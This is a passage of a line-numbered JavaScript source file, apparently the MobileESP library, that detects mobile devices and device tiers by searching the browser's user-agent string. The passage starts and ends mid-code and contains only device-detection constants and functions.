1689 isTierTablet : false, //Stores the result of DetectTierTablet()
1690 isTierIphone : false, //Stores the result of DetectTierIphone()
1691 isTierRichCss : false, //Stores the result of DetectTierRichCss()
1692 isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()
1693
1694 //INTERNALLY USED DETECTION STRING VARIABLES
1695 engineWebKit : 'webkit',
1696 deviceIphone : 'iphone',
1697 deviceIpod : 'ipod',
1698 deviceIpad : 'ipad',
1699 deviceMacPpc : 'macintosh', //Used for disambiguation
1700
1701 deviceAndroid : 'android',
1702 deviceGoogleTV : 'googletv',
1703
1704 deviceWinPhone7 : 'windows phone os 7',
1705 deviceWinPhone8 : 'windows phone 8',
1706 deviceWinPhone10 : 'windows phone 10',
1707 deviceWinMob : 'windows ce',
1708 deviceWindows : 'windows',
1709 deviceIeMob : 'iemobile',
1710 devicePpc : 'ppc', //Stands for PocketPC
1711 enginePie : 'wm5 pie', //An old Windows Mobile
1712
1713 deviceBB : 'blackberry',
1714 deviceBB10 : 'bb10', //For the new BB 10 OS
1715 vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox
1716 deviceBBStorm : 'blackberry95', //Storm 1 and 2
1717 deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)
1718 deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)
1719 deviceBBTour : 'blackberry96', //Tour
1720 deviceBBCurve : 'blackberry89', //Curve 2
1721 deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380
1722 deviceBBTorch : 'blackberry 98', //Torch
1723 deviceBBPlaybook : 'playbook', //PlayBook tablet
1724
1725 deviceSymbian : 'symbian',
1726 deviceSymbos : 'symbos', //Opera 10 on Symbian
1727 deviceS60 : 'series60',
1728 deviceS70 : 'series70',
1729 deviceS80 : 'series80',
1730 deviceS90 : 'series90',
1731
1732 devicePalm : 'palm',
1733 deviceWebOS : 'webos', //For Palm devices
1734 deviceWebOStv : 'web0s', //For LG TVs
1735 deviceWebOShp : 'hpwos', //For HP's line of WebOS devices
1736
1737 deviceNuvifone : 'nuvifone', //Garmin Nuvifone
1738 deviceBada : 'bada', //Samsung's Bada OS
1739 deviceTizen : 'tizen', //Tizen OS
1740 deviceMeego : 'meego', //Meego OS
1741 deviceSailfish : 'sailfish', //Sailfish OS
1742 deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS
1743
1744 deviceKindle : 'kindle', //Amazon eInk Kindle
1745 engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire
1746
1747 engineBlazer : 'blazer', //Old Palm browser
1748 engineXiino : 'xiino',
1749
1750 //Initialize variables for mobile-specific content.
1751 vndwap : 'vnd.wap',
1752 wml : 'wml',
1753
1754 //Initialize variables for random devices and mobile browsers.
1755 //Some of these may not support JavaScript
1756 deviceTablet : 'tablet',
1757 deviceBrew : 'brew',
1758 deviceDanger : 'danger',
1759 deviceHiptop : 'hiptop',
1760 devicePlaystation : 'playstation',
1761 devicePlaystationVita : 'vita',
1762 deviceNintendoDs : 'nitro',
1763 deviceNintendo : 'nintendo',
1764 deviceWii : 'wii',
1765 deviceXbox : 'xbox',
1766 deviceArchos : 'archos',
1767
1768 engineFirefox : 'firefox', //For Firefox OS
1769 engineOpera : 'opera', //Popular browser
1770 engineNetfront : 'netfront', //Common embedded OS browser
1771 engineUpBrowser : 'up.browser', //common on some phones
1772 deviceMidp : 'midp', //a mobile Java technology
1773 uplink : 'up.link',
1774 engineTelecaQ : 'teleca q', //a modern feature phone browser
1775 engineObigo : 'obigo', //W 10 is a modern feature phone browser
1776
1777 devicePda : 'pda',
1778 mini : 'mini', //Some mobile browsers put 'mini' in their names
1779 mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings
1780 mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings
1781
1782 //Smart TV strings
1783 smartTV1 : 'smart-tv', //Samsung Tizen smart TVs
1784 smartTV2 : 'smarttv', //LG WebOS smart TVs
1785
1786 //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.
1787 maemo : 'maemo',
1788 linux : 'linux',
1789 mylocom2 : 'sony/com', // for Sony Mylo 1 and 2
1790
1791 //In some UserAgents, the only clue is the manufacturer
1792 manuSonyEricsson : 'sonyericsson',
1793 manuericsson : 'ericsson',
1794 manuSamsung1 : 'sec-sgh',
1795 manuSony : 'sony',
1796 manuHtc : 'htc', //Popular Android and WinMo manufacturer
1797
1798 //In some UserAgents, the only clue is the operator
1799 svcDocomo : 'docomo',
1800 svcKddi : 'kddi',
1801 svcVodafone : 'vodafone',
1802
1803 //Disambiguation strings.
1804 disUpdate : 'update', //pda vs. update
1805
1806 //Holds the User Agent string value.
1807 uagent : '',
1808
1809 //Initializes key MobileEsp variables
1810 InitDeviceScan : function() {
1811 this.initCompleted = false;
1812
1813 if (navigator && navigator.userAgent)
1814 this.uagent = navigator.userAgent.toLowerCase();
1815
1816 //Save these properties to speed processing
1817 this.isWebkit = this.DetectWebkit();
1818 this.isIphone = this.DetectIphone();
1819 this.isAndroid = this.DetectAndroid();
1820 this.isAndroidPhone = this.DetectAndroidPhone();
1821
1822 //Generally, these tiers are the most useful for web development
1823 this.isMobilePhone = this.DetectMobileQuick();
1824 this.isTierIphone = this.DetectTierIphone();
1825 this.isTierTablet = this.DetectTierTablet();
1826
1827 //Optional: Comment these out if you NEVER use them
1828 this.isTierRichCss = this.DetectTierRichCss();
1829 this.isTierGenericMobile = this.DetectTierOtherPhones();
1830
1831 this.initCompleted = true;
1832 },
1833
1834
1835 //APPLE IOS
1836
1837 //**************************
1838 // Detects if the current device is an iPhone.
1839 DetectIphone : function() {
1840 if (this.initCompleted || this.isIphone)
1841 return this.isIphone;
1842
1843 if (this.uagent.search(this.deviceIphone) > -1)
1844 {
1845 //The iPad and iPod Touch say they're an iPhone! So let's disambiguate.
1846 if (this.DetectIpad() || this.DetectIpod())
1847 return false;
1848 //Yay! It's an iPhone!
1849 else
1850 return true;
1851 }
1852 else
1853 return false;
1854 },
1855
1856 //**************************
1857 // Detects if the current device is an iPod Touch.
1858 DetectIpod : function() {
1859 if (this.uagent.search(this.deviceIpod) > -1)
1860 return true;
1861 else
1862 return false;
1863 },
1864
1865 //**************************
1866 // Detects if the current device is an iPhone or iPod Touch.
1867 DetectIphoneOrIpod : function() {
1868 //We repeat the searches here because some iPods
1869 // may report themselves as an iPhone, which is ok.
1870 if (this.DetectIphone() || this.DetectIpod())
1871 return true;
1872 else
1873 return false;
1874 },
1875
1876 //**************************
1877 // Detects if the current device is an iPad tablet.
1878 DetectIpad : function() {
1879 if (this.uagent.search(this.deviceIpad) > -1 && this.DetectWebkit())
1880 return true;
1881 else
1882 return false;
1883 },
1884
1885 //**************************
1886 // Detects *any* iOS device: iPhone, iPod Touch, iPad.
1887 DetectIos : function() {
1888 if (this.DetectIphoneOrIpod() || this.DetectIpad())
1889 return true;
1890 else
1891 return false;
1892 },
1893
1894
1895 //ANDROID
1896
1897 //**************************
1898 // Detects *any* Android OS-based device: phone, tablet, and multi-media player.
1899 // Also detects Google TV.
1900 DetectAndroid : function() {
1901 if (this.initCompleted || this.isAndroid)
1902 return this.isAndroid;
1903
1904 if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())
1905 return true;
1906
1907 return false;
1908 },
1909
1910 //**************************
1911 // Detects if the current device is a (small-ish) Android OS-based device
1912 // used for calling and/or multi-media (like a Samsung Galaxy Player).
1913 // Google says these devices will have 'Android' AND 'mobile' in user agent.
1914 // Ignores tablets (Honeycomb and later).
1915 DetectAndroidPhone : function() {
1916 if (this.initCompleted || this.isAndroidPhone)
1917 return this.isAndroidPhone;
1918
1919 //First, let's make sure we're on an Android device.
1920 if (!this.DetectAndroid())
1921 return false;
1922
1923 //If it's Android and has 'mobile' in it, Google says it's a phone.
1924 if (this.uagent.search(this.mobile) > -1)
1925 return true;
1926
1927 //Special check for Android phones with Opera Mobile. They should report here.
1928 if (this.DetectOperaMobile())
1929 return true;
1930
1931 return false;
1932 },
1933
1934 //**************************
1935 // Detects if the current device is a (self-reported) Android tablet.
1936 // Google says these devices will have 'Android' and NOT 'mobile' in their user agent.
1937 DetectAndroidTablet : function() {
1938 //First, let's make sure we're on an Android device.
1939 if (!this.DetectAndroid())
1940 return false;
1941
1942 //Special check for Opera Android Phones. They should NOT report here.
1943 if (this.DetectOperaMobile())
1944 return false;
1945
1946 //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.
1947 if (this.uagent.search(this.mobile) > -1)
1948 return false;
1949 else
1950 return true;
1951 },
1952
1953 //**************************
1954 // Detects if the current device is an Android OS-based device and
1955 // the browser is based on WebKit.
1956 DetectAndroidWebKit : function() {
1957 if (this.DetectAndroid() && this.DetectWebkit())
1958 return true;
1959 else
1960 return false;
1961 },
1962
1963 //**************************
1964 // Detects if the current device is a GoogleTV.
1965 DetectGoogleTV : function() {
1966 if (this.uagent.search(this.deviceGoogleTV) > -1)
1967 return true;
1968 else
1969 return false;
1970 },
1971
1972 //**************************
1973 // Detects if the current browser is based on WebKit.
1974 DetectWebkit : function() {
1975 if (this.initCompleted || this.isWebkit)
1976 return this.isWebkit;
1977
1978 if (this.uagent.search(this.engineWebKit) > -1)
1979 return true;
1980 else
1981 return false;
1982 },
1983
1984
1985 //WINDOWS MOBILE AND PHONE
1986
1987 // Detects if the current browser is a
1988 // Windows Phone 7, 8, or 10 device.
1989 DetectWindowsPhone : function() {
1990 if (this.DetectWindowsPhone7() ||
1991 this.DetectWindowsPhone8() ||
1992 this.DetectWindowsPhone10())
1993 return true;
1994 else
1995 return false;
1996 },
1997
1998 //**************************
1999 // Detects a Windows Phone 7 device (in mobile browsing mode).
2000 DetectWindowsPhone7 : function() {
2001 if (this.uagent.search(this.deviceWinPhone7) > -1)
2002 return true;
2003 else
2004 return false;
2005 },
2006
2007 //**************************
2008 // Detects a Windows Phone 8 device (in mobile browsing mode).
2009 DetectWindowsPhone8 : function() {
2010 if (this.uagent.search(this.deviceWinPhone8) > -1)
2011 return true;
2012 else
2013 return false;
2014 },
2015
2016 //**************************
2017 // Detects a Windows Phone 10 device (in mobile browsing mode).
2018 DetectWindowsPhone10 : function() {
2019 if (this.uagent.search(this.deviceWinPhone10) > -1)
2020 return true;
2021 else
2022 return false;
2023 },
2024
2025 //**************************
2026 // Detects if the current browser is a Windows Mobile device.
2027 // Excludes Windows Phone 7 and later devices.
2028 // Focuses on Windows Mobile 6.xx and earlier.
2029 DetectWindowsMobile : function() {
2030 if (this.DetectWindowsPhone())
2031 return false;
2032
2033 //Most devices use 'Windows CE', but some report 'iemobile'
2034 // and some older ones report as 'PIE' for Pocket IE.
2035 if (this.uagent.search(this.deviceWinMob) > -1 ||
2036 this.uagent.search(this.deviceIeMob) > -1 ||
2037 this.uagent.search(this.enginePie) > -1)
2038 return true;
2039 //Test for Windows Mobile PPC but not old Macintosh PowerPC.
2040 if ((this.uagent.search(this.devicePpc) > -1) &&
2041 !(this.uagent.search(this.deviceMacPpc) > -1))
2042 return true;
2043 //Test for Windwos Mobile-based HTC devices.
2044 if (this.uagent.search(this.manuHtc) > -1 &&
2045 this.uagent.search(this.deviceWindows) > -1)
2046 return true;
2047 else
2048 return false;
2049 },
2050
2051
2052 //BLACKBERRY
2053
2054 //**************************
2055 // Detects if the current browser is a BlackBerry of some sort.
2056 // Includes BB10 OS, but excludes the PlayBook.
2057 DetectBlackBerry : function() {
2058 if ((this.uagent.search(this.deviceBB) > -1) ||
2059 (this.uagent.search(this.vndRIM) > -1))
2060 return true;
2061 if (this.DetectBlackBerry10Phone())
2062 return true;
2063 else
2064 return false;
2065 },
2066
2067 //**************************
2068 // Detects if the current browser is a BlackBerry 10 OS phone.
2069 // Excludes tablets.
2070 DetectBlackBerry10Phone : function() {
2071 if ((this.uagent.search(this.deviceBB10) > -1) &&
2072 (this.uagent.search(this.mobile) > -1))
2073 return true;
2074 else
2075 return false;
2076 },
2077
2078 //**************************
2079 // Detects if the current browser is on a BlackBerry tablet device.
2080 // Example: PlayBook
2081 DetectBlackBerryTablet : function() {
2082 if (this.uagent.search(this.deviceBBPlaybook) > -1)
2083 return true;
2084 else
2085 return false;
2086 },
2087
2088 //**************************
2089 // Detects if the current browser is a BlackBerry device AND uses a
2090 // WebKit-based browser. These are signatures for the new BlackBerry OS 6.
2091 // Examples: Torch. Includes the Playbook.
2092 DetectBlackBerryWebKit : function() {
2093 if (this.DetectBlackBerry() &&
2094 this.uagent.search(this.engineWebKit) > -1)
2095 return true;
2096 else
2097 return false;
2098 },
2099
2100 //**************************
2101 // Detects if the current browser is a BlackBerry Touch
2102 // device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.
2103 DetectBlackBerryTouch : function() {
2104 if (this.DetectBlackBerry() &&
2105 ((this.uagent.search(this.deviceBBStorm) > -1) ||
2106 (this.uagent.search(this.deviceBBTorch) > -1) ||
2107 (this.uagent.search(this.deviceBBBoldTouch) > -1) ||
2108 (this.uagent.search(this.deviceBBCurveTouch) > -1) ))
2109 return true;
2110 else
2111 return false;
2112 },
2113
2114 //**************************
2115 // Detects if the current browser is a BlackBerry OS 5 device AND
2116 // has a more capable recent browser. Excludes the Playbook.
2117 // Examples, Storm, Bold, Tour, Curve2
2118 // Excludes the new BlackBerry OS 6 and 7 browser!!
2119 DetectBlackBerryHigh : function() {
2120 //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser
2121 if (this.DetectBlackBerryWebKit())
2122 return false;
2123 if ((this.DetectBlackBerry()) &&
2124 (this.DetectBlackBerryTouch() ||
2125 this.uagent.search(this.deviceBBBold) > -1 ||
2126 this.uagent.search(this.deviceBBTour) > -1 ||
2127 this.uagent.search(this.deviceBBCurve) > -1))
2128 return true;
2129 else
2130 return false;
2131 },
2132
2133 //**************************
2134 // Detects if the current browser is a BlackBerry device AND
2135 // has an older, less capable browser.
2136 // Examples: Pearl, 8800, Curve1.
2137 DetectBlackBerryLow : function() {
2138 if (this.DetectBlackBerry())
2139 {
2140 //Assume that if it's not in the High tier or has WebKit, then it's Low.
2141 if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())
2142 return false;
2143 else
2144 return true;
2145 }
2146 else
2147 return false;
2148 },
2149
2150
2151 //SYMBIAN
2152
2153 //**************************
2154 // Detects if the current browser is the Nokia S60 Open Source Browser.
2155 DetectS60OssBrowser : function() {
2156 if (this.DetectWebkit())
2157 {
2158 if ((this.uagent.search(this.deviceS60) > -1 ||
2159 this.uagent.search(this.deviceSymbian) > -1))
2160 return true;
2161 else
2162 return false;
2163 }
2164 else
2165 return false;
2166 },
2167
2168 //**************************
2169 // Detects if the current device is any Symbian OS-based device,
2170 // including older S60, Series 70, Series 80, Series 90, and UIQ,
2171 // or other browsers running on these devices.
2172 DetectSymbianOS : function() {
2173 if (this.uagent.search(this.deviceSymbian) > -1 ||
2174 this.uagent.search(this.deviceS60) > -1 ||
2175 ((this.uagent.search(this.deviceSymbos) > -1) &&
2176 (this.DetectOperaMobile)) || //Opera 10
2177 this.uagent.search(this.deviceS70) > -1 ||
2178 this.uagent.search(this.deviceS80) > -1 ||
2179 this.uagent.search(this.deviceS90) > -1)
2180 return true;
2181 else
2182 return false;
2183 },
2184
2185
2186 //WEBOS AND PALM
2187
2188 //**************************
2189 // Detects if the current browser is on a PalmOS device.
2190 DetectPalmOS : function() {
2191 //Make sure it's not WebOS first
2192 if (this.DetectPalmWebOS())
2193 return false;
2194
2195 //Most devices nowadays report as 'Palm',
2196 // but some older ones reported as Blazer or Xiino.
2197 if (this.uagent.search(this.devicePalm) > -1 ||
2198 this.uagent.search(this.engineBlazer) > -1 ||
2199 this.uagent.search(this.engineXiino) > -1)
2200 return true;
2201 else
2202 return false;
2203 },
2204
2205 //**************************
2206 // Detects if the current browser is on a Palm device
2207 // running the new WebOS.
2208 DetectPalmWebOS : function()
2209 {
2210 if (this.uagent.search(this.deviceWebOS) > -1)
2211 return true;
2212 else
2213 return false;
2214 },
2215
2216 //**************************
2217 // Detects if the current browser is on an HP tablet running WebOS.
2218 DetectWebOSTablet : function() {
2219 if (this.uagent.search(this.deviceWebOShp) > -1 &&
2220 this.uagent.search(this.deviceTablet) > -1)
2221 return true;
2222 else
2223 return false;
2224 },
2225
2226 //**************************
2227 // Detects if the current browser is on a WebOS smart TV.
2228 DetectWebOSTV : function() {
2229 if (this.uagent.search(this.deviceWebOStv) > -1 &&
2230 this.uagent.search(this.smartTV2) > -1)
2231 return true;
2232 else
2233 return false;
2234 },
2235
2236
2237 //OPERA
2238
2239 //**************************
2240 // Detects if the current browser is Opera Mobile or Mini.
2241 // Note: Older embedded Opera on mobile devices didn't follow these naming conventions.
2242 // Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead.
2243 DetectOperaMobile : function() {
2244 if ((this.uagent.search(this.engineOpera) > -1) &&
2245 ((this.uagent.search(this.mini) > -1 ||
2246 this.uagent.search(this.mobi) > -1)))
2247 return true;
2248 else
2249 return false;
2250 },
2251
2252
2253 //MISCELLANEOUS DEVICES
2254
2255 //**************************
2256 // Detects if the current device is an Amazon Kindle (eInk devices only).
2257 // Note: For the Kindle Fire, use the normal Android methods.
2258 DetectKindle : function() {
2259 if (this.uagent.search(this.deviceKindle) > -1 &&
2260 !this.DetectAndroid())
2261 return true;
2262 else
2263 return false;
2264 },
2265
2266 //**************************
2267 // Detects if the current Amazon device has turned on the Silk accelerated browsing feature.
2268 // Note: Typically used by the the Kindle Fire.
2269 DetectAmazonSilk : function() {
2270 if (this.uagent.search(this.engineSilk) > -1)
2271 return true;
2272 else
2273 return false;
2274 },
2275
2276 //**************************
2277 // Detects if the current browser is a
2278 // Garmin Nuvifone.
2279 DetectGarminNuvifone : function() {
2280 if (this.uagent.search(this.deviceNuvifone) > -1)
2281 return true;
2282 else
2283 return false;
2284 },
2285
2286 //**************************
2287 // Detects a device running the Bada OS from Samsung.
2288 DetectBada : function() {
2289 if (this.uagent.search(this.deviceBada) > -1)
2290 return true;
2291 else
2292 return false;
2293 },
2294
2295 //**************************
2296 // Detects a device running the Tizen smartphone OS.
2297 DetectTizen : function() {
2298 if (this.uagent.search(this.deviceTizen) > -1 &&
2299 this.uagent.search(this.mobile) > -1)
2300 return true;
2301 else
2302 return false;
2303 },
2304
2305 //**************************
2306 // Detects if the current browser is on a Tizen smart TV.
2307 DetectTizenTV : function() {
2308 if (this.uagent.search(this.deviceTizen) > -1 &&
2309 this.uagent.search(this.smartTV1) > -1)
2310 return true;
2311 else
2312 return false;
2313 },
2314
2315 //**************************
2316 // Detects a device running the Meego OS.
2317 DetectMeego : function() {
2318 if (this.uagent.search(this.deviceMeego) > -1)
2319 return true;
2320 else
2321 return false;
2322 },
2323
2324 //**************************
2325 // Detects a phone running the Meego OS.
2326 DetectMeegoPhone : function() {
2327 if (this.uagent.search(this.deviceMeego) > -1 &&
2328 this.uagent.search(this.mobi) > -1)
2329 return true;
2330 else
2331 return false;
2332 },
2333
2334 //**************************
2335 // Detects a mobile device (probably) running the Firefox OS.
2336 DetectFirefoxOS : function() {
2337 if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())
2338 return true;
2339 else
2340 return false;
2341 },
2342
2343 //**************************
2344 // Detects a phone (probably) running the Firefox OS.
2345 DetectFirefoxOSPhone : function() {
2346 //First, let's make sure we're NOT on another major mobile OS.
2347 if (this.DetectIos() ||
2348 this.DetectAndroid() ||
2349 this.DetectSailfish())
2350 return false;
2351
2352 if ((this.uagent.search(this.engineFirefox) > -1) &&
2353 (this.uagent.search(this.mobile) > -1))
2354 return true;
2355
2356 return false;
2357 },
2358
2359 //**************************
2360 // Detects a tablet (probably) running the Firefox OS.
2361 DetectFirefoxOSTablet : function() {
2362 //First, let's make sure we're NOT on another major mobile OS.
2363 if (this.DetectIos() ||
2364 this.DetectAndroid() ||
2365 this.DetectSailfish())
2366 return false;
2367
2368 if ((this.uagent.search(this.engineFirefox) > -1) &&
2369 (this.uagent.search(this.deviceTablet) > -1))
2370 return true;
2371
2372 return false;
2373 },
2374
2375 //**************************
2376 // Detects a device running the Sailfish OS.
2377 DetectSailfish : function() {
2378 if (this.uagent.search(this.deviceSailfish) > -1)
2379 return true;
2380 else
2381 return false;
2382 },
2383
2384 //**************************
2385 // Detects a phone running the Sailfish OS.
2386 DetectSailfishPhone : function() {
2387 if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))
2388 return true;
2389
2390 return false;
2391 },
2392
2393
2394 //**************************
2395 // Detects a mobile device running the Ubuntu Mobile OS.
2396 DetectUbuntu : function() {
2397 if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())
2398 return true;
2399 else
2400 return false;
2401 },
2402
2403 //**************************
2404 // Detects a phone running the Ubuntu Mobile OS.
2405 DetectUbuntuPhone : function() {
2406 if ((this.uagent.search(this.deviceUbuntu) > -1) &&
2407 (this.uagent.search(this.mobile) > -1))
2408 return true;
2409
2410 return false;
2411 },
2412
2413 //**************************
2414 // Detects a tablet running the Ubuntu Mobile OS.
2415 DetectUbuntuTablet : function() {
2416 if ((this.uagent.search(this.deviceUbuntu) > -1) &&
2417 (this.uagent.search(this.deviceTablet) > -1))
2418 return true;
2419
2420 return false;
2421 },
2422
2423 //**************************
2424 // Detects the Danger Hiptop device.
2425 DetectDangerHiptop : function() {
2426 if (this.uagent.search(this.deviceDanger) > -1 ||
2427 this.uagent.search(this.deviceHiptop) > -1)
2428 return true;
2429 else
2430 return false;
2431 },
2432
2433 //**************************
2434 // Detects if the current browser is a Sony Mylo device.
2435 DetectSonyMylo : function() {
2436 if ((this.uagent.search(this.manuSony) > -1) &&
2437 ((this.uagent.search(this.qtembedded) > -1) ||
2438 (this.uagent.search(this.mylocom2) > -1)))
2439 return true;
2440 else
2441 return false;
2442 },
2443
2444 //**************************
2445 // Detects if the current device is on one of
2446 // the Maemo-based Nokia Internet Tablets.
2447 DetectMaemoTablet : function() {
2448 if (this.uagent.search(this.maemo) > -1)
2449 return true;
2450 //For Nokia N810, must be Linux + Tablet, or else it could be something else.
2451 if ((this.uagent.search(this.linux) > -1) &&
2452 (this.uagent.search(this.deviceTablet) > -1) &&
2453 this.DetectWebOSTablet() &&
2454 !this.DetectAndroid())
2455 return true;
2456 else
2457 return false;
2458 },
2459
2460 //**************************
2461 // Detects if the current device is an Archos media player/Internet tablet.
2462 DetectArchos : function() {
2463 if (this.uagent.search(this.deviceArchos) > -1)
2464 return true;
2465 else
2466 return false;
2467 },
2468
2469 //**************************
2470 // Detects if the current device is an Internet-capable game console.
2471 // Includes many handheld consoles.
2472 DetectGameConsole : function() {
2473 if (this.DetectSonyPlaystation() ||
2474 this.DetectNintendo() ||
2475 this.DetectXbox())
2476 return true;
2477 else
2478 return false;
2479 },
2480
2481 //**************************
2482 // Detects if the current device is a Sony Playstation.
2483 DetectSonyPlaystation : function() {
2484 if (this.uagent.search(this.devicePlaystation) > -1)
2485 return true;
2486 else
2487 return false;
2488 },
2489
2490 //**************************
2491 // Detects if the current device is a handheld gaming device with
2492 // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.
2493 DetectGamingHandheld : function() {
2494 if ((this.uagent.search(this.devicePlaystation) > -1) &&
2495 (this.uagent.search(this.devicePlaystationVita) > -1))
2496 return true;
2497 else
2498 return false;
2499 },
2500
2501 //**************************
2502 // Detects if the current device is a Nintendo game device.
2503 DetectNintendo : function() {
2504 if (this.uagent.search(this.deviceNintendo) > -1 ||
2505 this.uagent.search(this.deviceWii) > -1 ||
2506 this.uagent.search(this.deviceNintendoDs) > -1)
2507 return true;
2508 else
2509 return false;
2510 },
2511
2512 //**************************
2513 // Detects if the current device is a Microsoft Xbox.
2514 DetectXbox : function() {
2515 if (this.uagent.search(this.deviceXbox) > -1)
2516 return true;
2517 else
2518 return false;
2519 },
2520
2521
2522 //**************************
2523 // Detects whether the device is a Brew-powered device.
2524 // Note: Limited to older Brew-powered feature phones.
2525 // Ignores newer Brew versions like MP. Refer to DetectMobileQuick().
2526 DetectBrewDevice : function() {
2527 if (this.uagent.search(this.deviceBrew) > -1)
2528 return true;
2529 else
2530 return false;
2531 },
2532
2533
2534 // DEVICE CLASSES
2535
2536 //**************************
2537 // Check to see whether the device is *any* 'smartphone'.
2538 // Note: It's better to use DetectTierIphone() for modern touchscreen devices.
2539 DetectSmartphone : function() {
2540 //Exclude duplicates from TierIphone
2541 if (this.DetectTierIphone() ||
2542 this.DetectS60OssBrowser() ||
2543 this.DetectSymbianOS() ||
2544 this.DetectWindowsMobile() ||
2545 this.DetectBlackBerry() ||
2546 this.DetectMeegoPhone() ||
2547 this.DetectPalmOS())
2548 return true;
2549
2550 //Otherwise, return false.
2551 return false;
2552 },
2553
2554 //**************************
2555 // Detects if the current device is a mobile device.
2556 // This method catches most of the popular modern devices.
2557 // Excludes Apple iPads and other modern tablets.
2558 DetectMobileQuick : function() {
2559 if (this.initCompleted || this.isMobilePhone)
2560 return this.isMobilePhone;
2561
2562 //Let's exclude tablets.
2563 if (this.DetectTierTablet())
2564 return false;
2565
2566 //Most mobile browsing is done on smartphones
2567 if (this.DetectSmartphone())
2568 return true;
2569
2570 //Catch-all for many mobile devices
2571 if (this.uagent.search(this.mobile) > -1)
2572 return true;
2573
2574 if (this.DetectOperaMobile())
2575 return true;
2576
2577 //We also look for Kindle devices
2578 if (this.DetectKindle() ||
2579 this.DetectAmazonSilk())
2580 return true;
2581
2582 if (this.uagent.search(this.deviceMidp) > -1 ||
2583 this.DetectBrewDevice())
2584 return true;
2585
2586 if ((this.uagent.search(this.engineObigo) > -1) ||
2587 (this.uagent.search(this.engineNetfront) > -1) ||
2588 (this.uagent.search(this.engineUpBrowser) > -1))
2589 return true;
2590
2591 return false;
2592 },
2593
2594 //**************************
2595 // Detects in a more comprehensive way if the current device is a mobile device.
2596 DetectMobileLong : function() {
2597 if (this.DetectMobileQuick())
2598 return true;
2599 if (this.DetectGameConsole())
2600 return true;
2601
2602 if (this.DetectDangerHiptop() ||
2603 this.DetectMaemoTablet() ||
2604 this.DetectSonyMylo() ||
2605 this.DetectArchos())
2606 return true;
2607
2608 if ((this.uagent.search(this.devicePda) > -1) &&
2609 !(this.uagent.search(this.disUpdate) > -1))
2610 return true;
2611
2612 //Detect for certain very old devices with stupid useragent strings.
2613 if ((this.uagent.search(this.manuSamsung1) > -1) ||
2614 (this.uagent.search(this.manuSonyEricsson) > -1) ||
2615 (this.uagent.search(this.manuericsson) > -1) ||
2616 (this.uagent.search(this.svcDocomo) > -1) ||
2617 (this.uagent.search(this.svcKddi) > -1) ||
2618 (this.uagent.search(this.svcVodafone) > -1))
2619 return true;
2620
2621 return false;
2622 },
2623
2624 //*****************************
2625 // For Mobile Web Site Design
2626 //*****************************
2627
2628 //**************************
2629 // The quick way to detect for a tier of devices.
2630 // This method detects for the new generation of
2631 // HTML 5 capable, larger screen tablets.
2632 // Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.
2633 DetectTierTablet : function() {
2634 if (this.initCompleted || this.isTierTablet)
2635 return this.isTierTablet;
2636
2637 if (this.DetectIpad() ||
2638 this.DetectAndroidTablet() ||
2639 this.DetectBlackBerryTablet() ||
2640 this.DetectFirefoxOSTablet() ||
2641 this.DetectUbuntuTablet() ||
2642 this.DetectWebOSTablet())
2643 return true;
2644 else
2645 return false;
2646 },
2647
2648 //**************************
2649 // The quick way to detect for a tier of devices.
2650 // This method detects for devices which can
2651 // display iPhone-optimized web content.
2652 // Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.
2653 DetectTierIphone : function() {
2654 if (this.initCompleted || this.isTierIphone)
2655 return this.isTierIphone;
2656
2657 if (this.DetectIphoneOrIpod() ||
2658 this.DetectAndroidPhone() ||
2659 this.DetectWindowsPhone() ||
2660 this.DetectBlackBerry10Phone() ||
2661 this.DetectPalmWebOS() ||
2662 this.DetectBada() ||
2663 this.DetectTizen() ||
2664 this.DetectFirefoxOSPhone() ||
2665 this.DetectSailfishPhone() ||
2666 this.DetectUbuntuPhone() ||
2667 this.DetectGamingHandheld())
2668 return true;
2669
2670 //Note: BB10 phone is in the previous paragraph
2671 if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())
2672 return true;
2673
2674 else
2675 return false;
2676 },
2677
2678 //**************************
2679 // The quick way to detect for a tier of devices.
2680 // This method detects for devices which are likely to be
2681 // capable of viewing CSS content optimized for the iPhone,
2682 // but may not necessarily support JavaScript.
2683 // Excludes all iPhone Tier devices.
2684 DetectTierRichCss : function() {
2685 if (this.initCompleted || this.isTierRichCss)
2686 return this.isTierRichCss;
2687
2688 //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices
2689 if (this.DetectTierIphone() ||
2690 this.DetectKindle() ||
2691 this.DetectTierTablet())
2692 return false;
2693
2694 //Exclude if not mobile
2695 if (!this.DetectMobileQuick())
2696 return false;
2697
2698 //If it's a mobile webkit browser on any other device, it's probably OK.
2699 if (this.DetectWebkit())
2700 return true;
2701
2702 //The following devices are also explicitly ok.
2703 if (this.DetectS60OssBrowser() ||
2704 this.DetectBlackBerryHigh() ||
2705 this.DetectWindowsMobile() ||
2706 (this.uagent.search(this.engineTelecaQ) > -1))
2707 return true;
2708
2709 else
2710 return false;
2711 },
2712
2713 //**************************
2714 // The quick way to detect for a tier of devices.
2715 // This method detects for all other types of phones,
2716 // but excludes the iPhone and RichCSS Tier devices.
2717 // NOTE: This method probably won't work due to poor
2718 // support for JavaScript among other devices.
2719 DetectTierOtherPhones : function() {
2720 if (this.initCompleted || this.isTierGenericMobile)
2721 return this.isTierGenericMobile;
2722
2723 //Exclude iPhone, Rich CSS and Tablet Tiers
2724 if (this.DetectTierIphone() ||
